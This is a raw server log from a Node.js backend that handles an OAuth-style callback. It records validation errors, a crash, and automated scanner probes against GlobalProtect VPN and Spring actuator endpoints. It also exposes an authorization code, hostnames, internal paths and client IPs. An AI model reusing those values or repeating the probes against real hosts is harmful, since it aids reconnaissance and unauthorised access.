'/global-protect/portal/images/337ZRZJ7QMzVKxRMS69rkFFKNMF.txt', userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Mobile/15E148 Safari/604.1' }, requestId: 'req_1758691100523_0a8anvehf', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T05:18:20.595Z HTTP POST /ssl-vpn/hipreport.esp - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:194.165.16.71', method: 'POST', url: '/ssl-vpn/hipreport.esp', userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/E7FBAF' }, requestId: 'req_1758691100594_jgdg08tsf', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T05:18:20.667Z HTTP GET /global-protect/portal/images/337ZRZJ7QMzVKxRMS69rkFFKNMF.txt - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:194.165.16.71', method: 'GET', url: '/global-protect/portal/images/337ZRZJ7QMzVKxRMS69rkFFKNMF.txt', userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15' }, requestId: 'req_1758691100666_42j63uhcb', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T05:25:48.193Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:45.135.193.100', method: 'GET', url: '/', userAgent: undefined }, requestId: 'req_1758691548193_6pbd2yw4k', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T05:30:33.895Z HTTP GET /actuator/gateway/routes - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:79.124.58.198', method: 'GET', url: '/actuator/gateway/routes', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36' }, requestId: 'req_1758691833894_r04erovsy', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '37.167.54.180', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-24T05:34:07.497Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758692047496_vak5rh1vz' } ❌ [ERROR] 2025-09-24T05:34:07.497Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758692047496_vak5rh1vz', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-24T05:57:09.221Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:204.76.203.219', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' }, requestId: 'req_1758693429220_xw7bgj9vb', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T06:07:12.406Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:20.64.105.152', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 zgrab/0.x' }, requestId: 'req_1758694032405_dmir7w6bn', response: { statusCode: 404 } } ℹ️ [INFO] 2025-09-24T06:38:45.315Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/8.14.1' }, requestId: 'req_1758695925313_1fn2ukajj', response: { statusCode: 200 } } ❌ [ERROR] 2025-09-24T07:08:04.953Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:204.76.203.219', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' }, requestId: 'req_1758697684953_uttbob2g5', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T07:09:51.934Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:185.247.137.226', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)' }, requestId: 'req_1758697791933_fmv9sf1lr', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T07:20:32.235Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:45.135.193.100', method: 'GET', url: '/', userAgent: undefined }, requestId: 'req_1758698432234_s7ma20vtz', response: { statusCode: 404 } } ℹ️ [INFO] 2025-09-24T07:56:25.044Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 33, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758700584997_3e887tqnw', response: { statusCode: 200 } } ℹ️ [INFO] 2025-09-24T07:56:37.062Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/8.14.1' }, requestId: 'req_1758700597055_62p0wcdp4', response: { statusCode: 200 } } ℹ️ [INFO] 2025-09-24T07:58:27.904Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758700707902_yoymeaswn', response: { statusCode: 200 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '37.167.54.180', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-24T08:08:53.808Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758701333805_dltij4rwx' } ❌ [ERROR] 2025-09-24T08:08:53.809Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 3, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758701333805_dltij4rwx', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-24T08:11:56.262Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:65.144.169.45', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36' }, requestId: 'req_1758701516261_byklxktjh', response: { statusCode: 404 } } ℹ️ [INFO] 2025-09-24T08:13:04.683Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758701584682_bt05k7lwj', response: { statusCode: 200 } } ❌ [ERROR] 2025-09-24T08:20:06.204Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:3.131.215.38', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36' }, requestId: 'req_1758702006203_3bk3suzqm', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T08:22:05.492Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:3.131.215.38', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36' }, requestId: 'req_1758702125490_fk8uk6jsc', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '35.171.45.91', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-24T08:29:41.738Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'got (https://github.com/sindresorhus/got)' }, requestId: 'req_1758702581737_gd2jgzals' } ❌ [ERROR] 2025-09-24T08:29:41.740Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 3, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'got (https://github.com/sindresorhus/got)' }, requestId: 'req_1758702581737_gd2jgzals', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-24T08:30:28.122Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:204.76.203.219', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' }, requestId: 'req_1758702628121_fhej9igg5', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '35.171.45.91', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-24T08:36:11.263Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'got (https://github.com/sindresorhus/got)' }, requestId: 'req_1758702971262_zvp8httdz' } ❌ [ERROR] 2025-09-24T08:36:11.265Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 3, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'got (https://github.com/sindresorhus/got)' }, requestId: 'req_1758702971262_zvp8httdz', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '35.171.45.91', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-24T08:36:37.279Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'got (https://github.com/sindresorhus/got)' }, requestId: 'req_1758702997278_bd04lqbcf' } ❌ [ERROR] 2025-09-24T08:36:37.280Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'got (https://github.com/sindresorhus/got)' }, requestId: 'req_1758702997278_bd04lqbcf', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '35.171.45.91', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-24T08:36:39.794Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'got (https://github.com/sindresorhus/got)' }, requestId: 'req_1758702999793_5yfzkaaz2' } ❌ [ERROR] 2025-09-24T08:36:39.796Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 3, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'got (https://github.com/sindresorhus/got)' }, requestId: 'req_1758702999793_5yfzkaaz2', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-24T08:42:46.588Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'next_url host not allowed', name: 'Error', stack: 'Error: next_url host not allowed\n' + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters }, request: { body: { next_url: 'https://lecoffreio.4nkweb.com/authorized-client' }, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758703366583_9wf3fovqv' } ❌ [ERROR] 2025-09-24T08:42:46.588Z HTTP POST /api/v1/idnot/state - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 5, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758703366583_9wf3fovqv', response: { statusCode: 500 } } ❌ [ERROR] 2025-09-24T08:58:09.794Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:194.187.176.169', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0' }, requestId: 'req_1758704289792_yif3edjzt', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T08:58:09.852Z HTTP GET /favicon.ico - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:194.187.176.187', method: 'GET', url: '/favicon.ico', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0' }, requestId: 'req_1758704289851_qr5d2m38u', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T09:23:58.983Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'next_url host not allowed', name: 'Error', stack: 'Error: next_url host not allowed\n' + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters }, request: { body: { next_url: 'https://lecoffreio.4nkweb.com/authorized-client' }, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/8.14.1' }, requestId: 'req_1758705606121_sdj1wf4c6' } ❌ [ERROR] 2025-09-24T09:24:06.643Z HTTP POST /api/v1/idnot/state - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 177847, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/8.14.1' }, requestId: 'req_1758705606121_sdj1wf4c6', response: { statusCode: 500 } } ❌ [ERROR] 2025-09-24T09:32:42.975Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 71619, request: { ip: undefined, method: 'GET', url: '/', userAgent: undefined }, requestId: 'req_1758706277876_w4ltcxtxy', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T09:47:45.679Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 131407, request: { ip: undefined, method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' }, requestId: 'req_1758707098865_t703uvepj', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T09:51:09.776Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: "Expected property name or '}' in JSON at position 1 (line 1 column 2)", name: 'SyntaxError', stack: "SyntaxError: Expected property name or '}' in JSON at position 1 (line 1 column 2)\n" + ' at JSON.parse ()\n' + ' at parse (/home/ank/dev/lecoffre-back-mini/node_modules/body-parser/lib/types/jso'... 632 more characters }, request: { body: {}, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/8.14.1' }, requestId: 'req_1758707469754_60rdg1pi6' } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=fake&state=fake', method: 'HEAD', query: { code_present: true, code_length: 4, state_present: true, state_length: 4 }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '92.243.24.12', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-24T09:51:09.886Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'Invalid state format', name: 'Error', stack: 'Error: Invalid state format\n' + ' at Object.verifyState (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:70:19)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handl'... 1454 more characters }, request: { body: {}, ip: '::ffff:127.0.0.1', method: 'HEAD', url: '/idnot/callback?code=fake&state=fake', userAgent: 'curl/8.14.1' }, requestId: 'req_1758707469878_l30xz7psb' } ❌ [ERROR] 2025-09-24T09:51:09.888Z HTTP HEAD /idnot/callback?code=fake&state=fake - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 9, request: { ip: '::ffff:127.0.0.1', method: 'HEAD', url: '/idnot/callback?code=fake&state=fake', userAgent: 'curl/8.14.1' }, requestId: 'req_1758707469878_l30xz7psb', response: { statusCode: 500 } } ❌ [ERROR] 2025-09-24T09:56:06.614Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { message: 'next_url host not allowed', name: 'Error', stack: 'Error: next_url host not allowed\n' + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters }, request: { body: { next_url: 'https://lecoffreio.4nkweb.com/authorized-client' }, ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758707766610_p7pt8u3tw' } ❌ [ERROR] 2025-09-24T09:56:06.615Z HTTP POST /api/v1/idnot/state - 500 ──────────────────────────────────────────────────────────────────────────────── { duration: 4, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/7.74.0' }, requestId: 'req_1758707766610_p7pt8u3tw', response: { statusCode: 500 } } ℹ️ [INFO] 2025-09-24T09:59:53.586Z SIGTERM received, shutting down gracefully tenvx run -- yourcommand` ℹ️ [INFO] 2025-09-24T09:59:00.050Z Initializing Signer service ❌ [ERROR] 2025-09-24T09:59:00.064Z Uncaught exception ──────────────────────────────────────────────────────────────────────────────── { error: 'listen EADDRINUSE: address already in use :::8080', stack: 'Error: listen EADDRINUSE: address already in use :::8080\n' + ' at Server.setupListenHandle [as _listen2] (node:net:1937:16)\n' + ' at listenInCluster (node:net:1994:12)\n' + ' at Server.listen (node:net:2099:'... 786 more characters } 